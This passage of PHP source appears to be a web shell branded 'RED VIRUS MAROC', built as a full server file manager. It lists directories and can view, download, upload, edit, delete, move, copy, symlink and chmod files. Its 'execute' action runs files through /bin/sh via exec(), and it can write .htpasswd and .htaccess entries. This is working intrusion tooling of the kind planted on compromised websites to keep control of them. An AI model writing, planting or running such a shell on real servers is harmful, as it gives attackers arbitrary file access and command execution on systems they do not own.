    $cols = $win ? 4 : 7;
    if (!isset($dirpermission)) {
        $dirpermission = function_exists('umask') ? 0777 & ~umask() : 0755;
    }
    if (!isset($filepermission)) {
        $filepermission = function_exists('umask') ? 0666 & ~umask() : 0644;
    }
    if (!empty($_SERVER['SCRIPT_NAME'])) {
        $self = html(basename($_SERVER['SCRIPT_NAME']));
    } elseif (!empty($_SERVER['PHP_SELF'])) {
        $self = html(basename($_SERVER['PHP_SELF']));
    } else {
        $self = '';
    }
    if (!empty($_SERVER['SERVER_SOFTWARE'])) {
        if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
            $apache = true;
        } else {
            $apache = false;
        }
    } else {
        $apache = true;
    }
    switch ($action) {
        case 'view':
            if (is_script($file)) {
                /* highlight_file is a mess! */
                ob_start();
                highlight_file($file);
                $src = ereg_replace('<font color="green">', '<span style="color: \\1">', ob_get_contents());
                $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
                ob_end_clean();
                html_header();
                echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

<hr />

<table border="5" height="10%" width="100%" bgcolor="green">
<tr>
<td>
<pre style="margin-top: 0"><code>';
                for ($i = 1; $i <= sizeof(file($file)); $i++) {
                    echo "{$i}\n";
                }
                echo '</code></pre>
</td>
<td>
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>

';
                html_footer();
            } else {
                header('Content-Type: ' . getmimetype($file));
                header('Content-Disposition: filename=' . basename($file));
                readfile($file);
            }
            break;
        case 'download':
            header('Pragma: public');
            header('Expires: 0');
            header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
            header('Content-Type: ' . getmimetype($file));
            header('Content-Disposition: attachment; filename=' . basename($file) . ';');
            header('Content-Length: ' . filesize($file));
            readfile($file);
            break;
        case 'upload':
            $dest = relative2absolute($file['name'], $directory);
            if (@file_exists($dest)) {
                listing_page(error('already_exists', $dest));
            } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
                @chmod($dest, $filepermission);
                listing_page(notice('uploaded', $file['name']));
            } else {
                listing_page(error('not_uploaded', $file['name']));
            }
            break;
        case 'create_directory':
            if (@file_exists($file)) {
                listing_page(error('already_exists', $file));
            } else {
                $old = @umask(0777 & ~$dirpermission);
                if (@mkdir($file, $dirpermission)) {
                    listing_page(notice('created', $file));
                } else {
                    listing_page(error('not_created', $file));
                }
                @umask($old);
            }
            break;
        case 'create_file':
            if (@file_exists($file)) {
                listing_page(error('already_exists', $file));
            } else {
                $old = @umask(0777 & ~$filepermission);
                if (@touch($file)) {
                    edit($file);
                } else {
                    listing_page(error('not_created', $file));
                }
                @umask($old);
            }
            break;
        case 'execute':
            chdir(dirname($file));
            $output = array();
            $retval = 0;
            exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
            $error = false;
            if (sizeof($output) == 0) {
                $output = array('<' . $words['no_output'] . '>');
            }
            if ($error) {
                listing_page(error('not_executed', $file, implode("\n", $output)));
            } else {
                listing_page(notice('executed', $file, implode("\n", $output)));
            }
            break;
        case 'delete':
            if (!empty($_POST['no'])) {
                listing_page();
            } elseif (!empty($_POST['yes'])) {
                $failure = array();
                $success = array();
                foreach ($files as $file) {
                    if (del($file)) {
                        $success[] = $file;
                    } else {
                        $failure[] = $file;
                    }
                }
                $message = '';
                if (sizeof($failure) > 0) {
                    $message = error('not_deleted', implode("\n", $failure));
                }
                if (sizeof($success) > 0) {
                    $message .= notice('deleted', implode("\n", $success));
                }
                listing_page($message);
            } else {
                html_header();
                echo '<form action="' . $self . '" method="post">
<table border="5" height="10%" width="100%" class="dialog" bgcolor="green"><center>
<tr>
<td class="dialog" bgcolor="green">
';
                request_dump();
                echo "\t<b>" . word('really_delete') . '</b>
	<p>
';
                foreach ($files as $file) {
                    echo "\t" . html($file) . "<br />\n";
                }
                echo '	</p>
	<hr />
	<input type="submit" name="no" value="' . word('no') . '" id="red_button" bgcolor="green" />
	<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>

';
                html_footer();
            }
            break;
        case 'rename':
            if (!empty($_POST['destination'])) {
                $dest = relative2absolute($_POST['destination'], $directory);
                if (!@file_exists($dest) && @rename($file, $dest)) {
                    listing_page(notice('renamed', $file, $dest));
                } else {
                    listing_page(error('not_renamed', $file, $dest));
                }
            } else {
                $name = basename($file);
                html_header();
                echo '<form action="' . $self . '" method="post">

<table bgcolor="green" border="7" height="20%" width="100%" class="dialog"><center>
<tr>
<td class="dialog" bgcolor="green">
	<input type="hidden" name="action" bgcolor="green" value="rename" />
	<input type="hidden" name="file" value="' . html($file) . '" bgcolor="green" />
	<input type="hidden" name="dir" value="' . html($directory) . '" bgcolor="green" />
	<b>' . word('rename_file') . '</b>
	<p>' . html($file) . '</p>
	<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
	<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
	<hr />
	<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        case 'move':
            if (!empty($_POST['destination'])) {
                $dest = relative2absolute($_POST['destination'], $directory);
                $failure = array();
                $success = array();
                foreach ($files as $file) {
                    $filename = substr($file, strlen($directory));
                    $d = $dest . $filename;
                    if (!@file_exists($d) && @rename($file, $d)) {
                        $success[] = $file;
                    } else {
                        $failure[] = $file;
                    }
                }
                $message = '';
                if (sizeof($failure) > 0) {
                    $message = error('not_moved', implode("\n", $failure), $dest);
                }
                if (sizeof($success) > 0) {
                    $message .= notice('moved', implode("\n", $success), $dest);
                }
                listing_page($message);
            } else {
                html_header();
                echo '<form action="' . $self . '" method="post">

<table bgcolor="green" border="7" height="20%" width="100%" class="dialog"><center>
<tr>
<td class="dialog" bgcolor="green">
';
                request_dump();
                echo "\t<b>" . word('move_files') . '</b>
	<p>
';
                foreach ($files as $file) {
                    echo "\t" . html($file) . "<br />\n";
                }
                echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        case 'copy':
            if (!empty($_POST['destination'])) {
                $dest = relative2absolute($_POST['destination'], $directory);
                if (@is_dir($dest)) {
                    $failure = array();
                    $success = array();
                    foreach ($files as $file) {
                        $filename = substr($file, strlen($directory));
                        $d = addslash($dest) . $filename;
                        if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
                            $success[] = $file;
                        } else {
                            $failure[] = $file;
                        }
                    }
                    $message = '';
                    if (sizeof($failure) > 0) {
                        $message = error('not_copied', implode("\n", $failure), $dest);
                    }
                    if (sizeof($success) > 0) {
                        $message .= notice('copied', implode("\n", $success), $dest);
                    }
                    listing_page($message);
                } else {
                    if (!@file_exists($dest) && @copy($file, $dest)) {
                        listing_page(notice('copied', $file, $dest));
                    } else {
                        listing_page(error('not_copied', $file, $dest));
                    }
                }
            } else {
                html_header();
                echo '<form action="' . $self . '" method="post">

<table bgcolor="green" border="5" height="20%" width="100%" class="dialog"><center>
<tr>
<td class="dialog" bgcolor="green">
';
                request_dump();
                echo "\n<b>" . word('copy_files') . '</b>
	<p>
';
                foreach ($files as $file) {
                    echo "\t" . html($file) . "<br />\n";
                }
                echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        case 'create_symlink':
            if (!empty($_POST['destination'])) {
                $dest = relative2absolute($_POST['destination'], $directory);
                if (substr($dest, -1, 1) == $delim) {
                    $dest .= basename($file);
                }
                if (!empty($_POST['relative'])) {
                    $file = absolute2relative(addslash(dirname($dest)), $file);
                }
                if (!@file_exists($dest) && @symlink($file, $dest)) {
                    listing_page(notice('symlinked', $file, $dest));
                } else {
                    listing_page(error('not_symlinked', $file, $dest));
                }
            } else {
                html_header();
                echo '<form action="' . $self . '" method="post">

<table bgcolor="green"  border="5" height="10%" width="100%" class="dialog" id="symlink"><center>
<tr>
	<td style="vertical-align: top">' . word('destination') . ': </td>
	<td>
		<b>' . html($file) . '</b><br />
		<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
		<label for="checkbox_relative">' . word('relative') . '</label>
		<input type="hidden" name="action" value="create_symlink" />
		<input type="hidden" name="file" value="' . html($file) . '" />
		<input type="hidden" name="dir" value="' . html($directory) . '" />
	</td>
</tr>
<tr>
	<td>' . word('symlink') . ': </td>
	<td>
		<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
		<input type="submit" value="' . word('create_symlink') . '" />
	</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        case 'edit':
            if (!empty($_POST['save'])) {
                $content = str_replace("\r\n", "\n", $_POST['content']);
                if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
                    listing_page(notice('saved', $file));
                } else {
                    listing_page(error('not_saved', $file));
                }
            } else {
                if (@is_readable($file) && @is_writable($file)) {
                    edit($file);
                } else {
                    listing_page(error('not_edited', $file));
                }
            }
            break;
        case 'permission':
            if (!empty($_POST['set'])) {
                $mode = 0;
                if (!empty($_POST['ur'])) {
                    $mode = 256;
                }
                if (!empty($_POST['uw'])) {
                    $mode |= 0200;
                }
                if (!empty($_POST['ux'])) {
                    $mode |= 0100;
                }
                if (!empty($_POST['gr'])) {
                    $mode |= 040;
                }
                if (!empty($_POST['gw'])) {
                    $mode |= 020;
                }
                if (!empty($_POST['gx'])) {
                    $mode |= 010;
                }
                if (!empty($_POST['or'])) {
                    $mode |= 04;
                }
                if (!empty($_POST['ow'])) {
                    $mode |= 02;
                }
                if (!empty($_POST['ox'])) {
                    $mode |= 01;
                }
                if (@chmod($file, $mode)) {
                    listing_page(notice('permission_set', $file, decoct($mode)));
                } else {
                    listing_page(error('permission_not_set', $file, decoct($mode)));
                }
            } else {
                html_header();
                $mode = fileperms($file);
                echo '<form action="' . $self . '" method="post">

<table bgcolor="green" border="5" height="10%" width="100%" class="dialog"><center>
<tr>
<td class="dialog">

	<p style="margin: 0">' . phrase('permission_for', $file) . '</p>

	<hr />

<table bgcolor="green" border="5" height="10%" width="100%" id="permission"><center>
	<tr>
		<td></td>
		<td style="border-right: 1px solid black">' . word('owner') . '</td>
		<td style="border-right: 1px solid black">' . word('group') . '</td>
		<td>' . word('other') . '</td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('read') . ':</td>
		<td><input type="checkbox" name="ur" value="1"';
                if ($mode & 0400) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gr\" value=\"1\"";
                if ($mode & 040) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"or\" value=\"1\"";
                if ($mode & 04) {
                    echo " checked=\"checked\"";
                }
                echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('write') . ':</td>
		<td><input type="checkbox" name="uw" value="1"';
                if ($mode & 0200) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gw\" value=\"1\"";
                if ($mode & 020) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"ow\" value=\"1\"";
                if ($mode & 02) {
                    echo " checked=\"checked\"";
                }
                echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('execute') . ':</td>
		<td><input type="checkbox" name="ux" value="1"';
                if ($mode & 0100) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"gx\" value=\"1\"";
                if ($mode & 010) {
                    echo " checked=\"checked\"";
                }
                echo " /></td>\n\t\t<td><input type=\"checkbox\" name=\"ox\" value=\"1\"";
                if ($mode & 01) {
                    echo " checked=\"checked\"";
                }
                echo ' /></td>
	</tr>
	</table>

	<hr />

	<input type="submit" name="set" value="' . word('set') . '" />

	<input type="hidden" name="action" value="permission" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
                html_footer();
            }
            break;
        default:
            listing_page();
    }
    /* ------------------------------------------------------------------------- */
    function getlist($directory)
    {
        global $delim, $win;
        if ($d = @opendir($directory)) {
            while (($filename = @readdir($d)) !== false) {
                $path = $directory . $filename;
                if ($stat = @lstat($path)) {
                    $file = array('filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path));
                    if ($file['is_dir']) {
                        $file['is_executable'] = @file_exists($path . $delim . '.');
                    } else {
                        if (!$win) {
                            $file['is_executable'] = @is_executable($path);
                        } else {
                            $file['is_executable'] = true;
                        }
                    }
                    if ($file['is_link']) {
                        $file['target'] = @readlink($path);
                    }
                    if (function_exists('posix_getpwuid')) {
                        $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
                    }
                    if (function_exists('posix_getgrgid')) {
                        $file['group_name'] = @reset(posix_getgrgid($file['group']));
                    }
                    $files[] = $file;
                }
            }
            return $files;
        } else {
            return false;
        }
    }
    function sortlist($list, $key, $reverse)
    {
        $dirs = array();
        $files = array();
        for ($i = 0; $i < sizeof($list); $i++) {
            if ($list[$i]['is_dir']) {
                $dirs[] = $list[$i];
            } else {
                $files[] = $list[$i];
            }
        }
        quicksort($dirs, 0, sizeof($dirs) - 1, $key);
        if ($reverse) {
            $dirs = array_reverse($dirs);
        }
        quicksort($files, 0, sizeof($files) - 1, $key);
        if ($reverse) {
            $files = array_reverse($files);
        }
        return array_merge($dirs, $files);
    }
    function quicksort(&$array, $first, $last, $key)
    {
        if ($first < $last) {
            $cmp = $array[floor(($first + $last) / 2)][$key];
            $l = $first;
            $r = $last;
            while ($l <= $r) {
                while ($array[$l][$key] < $cmp) {
                    $l++;
                }
                while ($array[$r][$key] > $cmp) {
                    $r--;
                }
                if ($l <= $r) {
                    $tmp = $array[$l];
                    $array[$l] = $array[$r];
                    $array[$r] = $tmp;
                    $l++;
                    $r--;
                }
            }
            quicksort($array, $first, $r, $key);
            quicksort($array, $l, $last, $key);
        }
    }
    function permission_octal2string($mode)
    {
        if (($mode & 0xc000) === 0xc000) {
            $type = 's';
        } elseif (($mode & 0xa000) === 0xa000) {
            $type = 'l';
        } elseif (($mode & 0x8000) === 0x8000) {
            $type = '-';
        } elseif (($mode & 0x6000) === 0x6000) {
            $type = 'b';
        } elseif (($mode & 0x4000) === 0x4000) {
            $type = 'd';
        } elseif (($mode & 0x2000) === 0x2000) {
            $type = 'c';
        } elseif (($mode & 0x1000) === 0x1000) {
            $type = 'p';
        } else {
            $type = '?';
        }
        $owner = $mode & 0400 ? 'r' : '-';
        $owner .= $mode & 0200 ? 'w' : '-';
        if ($mode & 0x800) {
            $owner .= $mode & 0100 ? 's' : 'S';
        } else {
            $owner .= $mode & 0100 ? 'x' : '-';
        }
        $group = $mode & 040 ? 'r' : '-';
        $group .= $mode & 020 ? 'w' : '-';
        if ($mode & 0x400) {
            $group .= $mode & 010 ? 's' : 'S';
        } else {
            $group .= $mode & 010 ? 'x' : '-';
        }
        $other = $mode & 04 ? 'r' : '-';
        $other .= $mode & 02 ? 'w' : '-';
        if ($mode & 0x200) {
            $other .= $mode & 01 ? 't' : 'T';
        } else {
            $other .= $mode & 01 ? 'x' : '-';
        }
        return $type . $owner . $group . $other;
    }
    function is_script($filename)
    {
        return ereg('\\.php$|\\.php3$|\\.php4$|\\.php5$', $filename);
    }
    function getmimetype($filename)
    {
        static $mimes = array('\\.jpg$|\\.jpeg$' => 'image/jpeg', '\\.gif$' => 'image/gif', '\\.png$' => 'image/png', '\\.html$|\\.html$' => 'text/html', '\\.txt$|\\.asc$' => 'text/plain', '\\.xml$|\\.xsl$' => 'application/xml', '\\.pdf$' => 'application/pdf');
        foreach ($mimes as $regex => $mime) {
            if (eregi($regex, $filename)) {
                return $mime;
            }
        }
        // return 'application/octet-stream';
        return 'text/plain';
    }
    function del($file)
    {
        global $delim;
        if (!file_exists($file)) {
            return false;
        }
        if (@is_dir($file) && !@is_link($file)) {
            $success = false;
            if (@rmdir($file)) {
                $success = true;
            } elseif ($dir = @opendir($file)) {
                $success = true;
                while (($f = readdir($dir)) !== false) {
                    if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
                        $success = false;
                    }
                }
                closedir($dir);
                if ($success) {
                    $success = @rmdir($file);
                }
            }
            return $success;
        }
        return @unlink($file);
    }
    function addslash($directory)
    {
        global $delim;
        if (substr($directory, -1, 1) != $delim) {
            return $directory . $delim;
        } else {
            return $directory;
        }
    }
    function relative2absolute($string, $directory)
    {
        if (path_is_relative($string)) {
            return simplify_path(addslash($directory) . $string);
        } else {
            return simplify_path($string);
        }
    }
    function path_is_relative($path)
    {
        global $win;
        if ($win) {
            return substr($path, 1, 1) != ':';
        } else {
            return substr($path, 0, 1) != '/';
        }
    }
    function absolute2relative($directory, $target)
    {
        global $delim;
        $path = '';
        while ($directory != $target) {
            if ($directory == substr($target, 0, strlen($directory))) {
                $path .= substr($target, strlen($directory));
                break;
            } else {
                $path .= '..' . $delim;
                $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
            }
        }
        if ($path == '') {
            $path = '.';
        }
        return $path;
    }
    function simplify_path($path)
    {
        global $delim;
        if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
            $path = realpath($path);
            if (@is_dir($path)) {
                return addslash($path);
            } else {
                return $path;
            }
        }
        $pattern = $delim . '.' . $delim;
        if (@is_dir($path)) {
            $path = addslash($path);
        }
        while (strpos($path, $pattern) !== false) {
            $path = str_replace($pattern, $delim, $path);
        }
        $e = addslashes($delim);
        $regex = $e . '((\\.[^\\.' . $e . '][^' . $e . ']*)|(\\.\\.[^' . $e . ']+)|([^\\.][^' . $e . ']*))' . $e . '\\.\\.' . $e;
        while (ereg($regex, $path)) {
            $path = ereg_replace($regex, $delim, $path);
        }
        return $path;
    }
    function human_filesize($filesize)
    {
        $suffices = 'kMGTPE';
        $n = 0;
        while ($filesize >= 1000) {
            $filesize /= 1024;
            $n++;
        }
        $filesize = round($filesize, 3 - strpos($filesize, '.'));
        if (strpos($filesize, '.') !== false) {
            while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
                $filesize = substr($filesize, 0, strlen($filesize) - 1);
            }
        }
        $suffix = $n == 0 ? '' : substr($suffices, $n - 1, 1);
        return $filesize . " {$suffix}B";
    }
    function strip(&$str)
    {
        $str = stripslashes($str);
    }
    /* ------------------------------------------------------------------------- */
    function listing_page($message = null)
    {
        global $self, $directory, $sort, $reverse;
        html_header();
        $list = getlist($directory);
        if (array_key_exists('sort', $_GET)) {
            $sort = $_GET['sort'];
        } else {
            $sort = 'filename';
        }
        if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') {
            $reverse = true;
        } else {
            $reverse = false;
        }
        echo '<h1 style="margin-bottom: 0">RED VIRUS MAROC</h1>

<form enctype="multipart/form-data" action="' . $self . '" method="post">

<table bgcolor="green" border="5" height="10%" width="100%" id="main"><center>
';
        directory_choice();
        if (!empty($message)) {
            spacer();
            echo $message;
        }
        if (@is_writable($directory)) {
            upload_box();
            create_box();
        } else {
            spacer();
        }
        if ($list) {
            $list = sortlist($list, $sort, $reverse);
            listing($list);
        } else {
            echo error('not_readable', $directory);
        }
        echo "</table>\n\n</form>\n\n";
        html_footer();
    }
    function listing($list)
    {
        global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
        echo '<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';
        column_title('filename', $sort, $reverse);
        column_title('size', $sort, $reverse);
        if (!$win) {
            column_title('permission', $sort, $reverse);
            column_title('owner', $sort, $reverse);
            column_title('group', $sort, $reverse);
        }
        echo '	<th class="functions">' . word('functions') . '</th>
</tr>
';
        for ($i = 0; $i < sizeof($list); $i++) {
            $file = $list[$i];
            $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
            $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
            $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
            echo '<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
	<td class="filename" title="' . html($timestamps) . '">';
            if ($file['is_link']) {
                echo '<img src="' . $self . '?image=link" alt="link" /> ';
                echo html($file['filename']) . ' &rarr; ';
                $real_file = relative2absolute($file['target'], $directory);
                if (@is_readable($real_file)) {
                    if (@is_dir($real_file)) {
                        echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
                    } else {
                        echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
                    }
                } else {
                    echo html($file['target']);
                }
            } elseif ($file['is_dir']) {
                echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
                if ($win || $file['is_executable']) {
                    echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
                } else {
                    echo html($file['filename']);
                }
                echo " ]";
            } else {
                if (substr($file['filename'], 0, 1) == '.') {
                    echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
                } else {
                    echo '<img src="' . $self . '?image=file" alt="file" /> ';
                }
                if ($file['is_file'] && $file['is_readable']) {
                    echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
                } else {
                    echo html($file['filename']);
                }
            }
            if ($file['size'] >= 1000) {
                $human = ' title="' . human_filesize($file['size']) . '"';
            } else {
                $human = '';
            }
            echo "</td>\n";
            echo "\t<td class=\"size\"{$human}>{$file['size']} B</td>\n";
            if (!$win) {
                echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
                $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
                if ($l) {
                    echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
                }
                echo html(permission_octal2string($file['permission']));
                if ($l) {
                    echo "</a>";
                }
                echo "</td>\n";
                if (array_key_exists('owner_name', $file)) {
                    echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
                } else {
                    echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
                }
                if (array_key_exists('group_name', $file)) {
                    echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
                } else {
                    echo "\t<td class=\"group\">{$file['group']}</td>\n";
                }
            }
            echo '	<td class="functions">
		<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';
            $actions = array();
            if (function_exists('symlink')) {
                $actions[] = 'create_symlink';
            }
            if (@is_writable(dirname($file['path']))) {
                $actions[] = 'delete';
                $actions[] = 'rename';
                $actions[] = 'move';
            }
            if ($file['is_file'] && $file['is_readable']) {
                $actions[] = 'copy';
                $actions[] = 'download';
                if ($file['is_writable']) {
                    $actions[] = 'edit';
                }
            }
            if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
                $actions[] = 'execute';
            }
            if (sizeof($actions) > 0) {
                echo '		<select class="small"" name="action' . $i . '" size="1" style="border:1px dotted #59E817;  background-color:#0C0C0C; 

font-family:Tahoma; font-size:8pt; color:#59E817">
		<option>&darr; &darr; &darr; &darr; &darr; &darr; &darr; ' . str_repeat('&nbsp;', 30) . '</option>
';
                foreach ($actions as $action) {
                    echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
                }
                echo '		</select>
		<input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
';
            }
            echo "\t</td>\n</tr>\n";
        }
        echo '<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
	<td colspan="' . ($cols - 1) . '">
		<input type="hidden" name="num" value="' . sizeof($list) . '" />
		<input type="hidden" name="focus" value="" />
		<input type="hidden" name="olddir" value="' . html($directory) . '" />
';
        $actions = array();
        if (@is_writable(dirname($file['path']))) {
            $actions[] = 'delete';
            $actions[] = 'move';
        }
        $actions[] = 'copy';
        echo '		<select class="small" name="action_all" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';
        foreach ($actions as $action) {
            echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
        }
        echo "\t\t</select>\n\t\t<input class=\"small\" type=\"submit\" name=\"submit_all\" value=\" &gt; \" onfocus=\"activate('other')\" />\n\t</td>\n</tr>\n";
    }
    function column_title($column, $sort, $reverse)
    {
        global $self, $directory;
        $d = 'dir=' . urlencode($directory) . '&amp;';
        $arr = '';
        if ($sort == $column) {
            if (!$reverse) {
                $r = '&amp;reverse=true';
                $arr = ' &and;';
            } else {
                $arr = ' &or;';
            }
        } else {
            $r = '';
        }
        echo "\t<th class=\"{$column}\"><a href=\"{$self}?{$d}sort={$column}{$r}\">" . word($column) . "</a>{$arr}</th>\n";
    }
    function directory_choice()
    {
        global $directory, $homedir, $cols, $self;
        echo '<tr>
	<td colspan="' . $cols . '" id="directory">
		<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
		<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
		<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
	</td>
</tr>
';
    }
    function upload_box()
    {
        global $cols;
        echo '<tr>
	<td colspan="' . $cols . '" id="upload">
		' . word('file') . ':
		<input type="file" name="upload" onfocus="activate(\'other\')" />
		<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
	</td>
</tr>
';
    }
    function create_box()
    {
        global $cols;
        echo '<tr>
	<td colspan="' . $cols . '" id="create">
		<select name="create_type" size="1" onfocus="activate(\'create\')">
		<option value="file">' . word('file') . '</option>
		<option value="directory">' . word('directory') . '</option>
		</select>
		<input type="text" name="create_name" onfocus="activate(\'create\')" />
		<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
	</td>
</tr>
';
    }
    function edit($file)
    {
        global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
        html_header();
        echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>

<form action="' . $self . '" method="post">

<table bgcolor="green" border="5" height="10%" width="100%" class="dialog"><center>
<tr>
<td class="dialog">

	<textarea  name="content" cols="100%' . $editcols . '" rows="30%' . $editrows . '" WRAP="off">';
        if (array_key_exists('content', $_POST)) {
            echo $_POST['content'];
        } else {
            $f = fopen($file, 'r');
            while (!feof($f)) {
                echo html(fread($f, 8192));
            }
            fclose($f);
        }
        if (!empty($_POST['user'])) {
            echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
        }
        if (!empty($_POST['basic_auth'])) {
            if ($win) {
                $authfile = str_replace('\\', '/', $directory) . $htpasswd;
            } else {
                $authfile = $directory . $htpasswd;
            }
            echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
            echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
            echo "Require valid-user";
        }
        echo "</textarea>\n\n\t<hr />\n";
        if ($apache && basename($file) == $htpasswd) {
            echo '
	' . word('user') . ': <input type="text" name="user" />
	' . word('password') . ': <input type="password" name="password" />
	<input type="submit" value="' . word('add') . '" />

	<hr />
';
        }
        if ($apache && basename($file) == $htaccess) {
            echo '
	<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />

	<hr />
';
        }
        echo '
	<input type="hidden" name="action" value="edit" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<input type="reset" value="' . word('reset') . '" id="red_button" />
	<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
        html_footer();
    }
    function spacer()
    {
        global $cols;
        echo '<tr>
	<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';
    }
    function textfieldsize($content)
    {
        $size = strlen($content) + 5;
        if ($size < 30) {
            $size = 30;
        }
        return $size;
    }
    function request_dump()
    {
        foreach ($_REQUEST as $key => $value) {
            echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
        }
    }
    /* ------------------------------------------------------------------------- */
    function html($string)
    {
        global $site_charset;
        return htmlentities($string, ENT_COMPAT, $site_charset);
    }
    function word($word)
    {
        global $words, $word_charset;
